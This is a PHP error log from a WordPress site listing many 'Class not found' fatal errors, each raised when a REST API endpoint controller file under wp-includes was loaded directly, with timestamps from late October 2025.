[28-Oct-2025 01:27:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 17
[28-Oct-2025 06:54:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17
[29-Oct-2025 12:13:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17
[29-Oct-2025 12:13:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18
[29-Oct-2025 12:13:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17
[29-Oct-2025 12:13:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17
[29-Oct-2025 12:14:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17
[29-Oct-2025 12:15:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17
[29-Oct-2025 12:16:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17
[29-Oct-2025 12:17:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17
[29-Oct-2025 12:19:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17
[29-Oct-2025 12:20:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13
[29-Oct-2025 12:21:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17
[29-Oct-2025 12:22:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15
[29-Oct-2025 12:23:27 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17
[29-Oct-2025 12:24:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17
[29-Oct-2025 12:25:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17
[29-Oct-2025 12:26:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17
[29-Oct-2025 12:27:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17
[29-Oct-2025 12:28:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17
[29-Oct-2025 12:29:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17
[29-Oct-2025 12:30:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17
[29-Oct-2025 12:31:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17
[29-Oct-2025 12:32:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17
[29-Oct-2025 12:33:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17
[29-Oct-2025 12:34:55 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13
[29-Oct-2025 12:35:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20
[29-Oct-2025 12:37:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17
[29-Oct-2025 12:38:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17
[29-Oct-2025 12:39:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17
[29-Oct-2025 12:40:11 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17
[29-Oct-2025 12:41:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17
[29-Oct-2025 12:42:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20
[29-Oct-2025 12:43:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17
[29-Oct-2025 12:44:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19
[29-Oct-2025 12:45:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17
[29-Oct-2025 12:46:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 17
[29-Oct-2025 12:47:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17
[29-Oct-2025 12:48:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18
[29-Oct-2025 12:49:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17
[29-Oct-2025 12:50:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17
[29-Oct-2025 12:51:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17
[29-Oct-2025 13:00:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17
[29-Oct-2025 13:00:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17
[29-Oct-2025 13:01:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17
[29-Oct-2025 13:02:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17
[29-Oct-2025 13:03:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17
[29-Oct-2025 13:04:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17
[29-Oct-2025 13:05:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17
[29-Oct-2025 13:06:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17
[29-Oct-2025 13:07:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18
[29-Oct-2025 13:08:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17
[29-Oct-2025 13:09:55 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17
[29-Oct-2025 13:11:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17
[29-Oct-2025 13:12:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17
[29-Oct-2025 13:13:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13
[29-Oct-2025 13:14:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17
[29-Oct-2025 13:15:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17
[29-Oct-2025 13:16:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17
[29-Oct-2025 13:17:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17
[29-Oct-2025 13:18:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17
[29-Oct-2025 13:19:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15
[29-Oct-2025 13:20:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17
[29-Oct-2025 13:21:27 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20
[29-Oct-2025 13:22:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17
[29-Oct-2025 13:23:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13
[29-Oct-2025 13:24:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17
[29-Oct-2025 13:25:40 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19
[29-Oct-2025 13:26:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17
[29-Oct-2025 13:27:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17
[29-Oct-2025 13:28:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17
[29-Oct-2025 13:29:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17
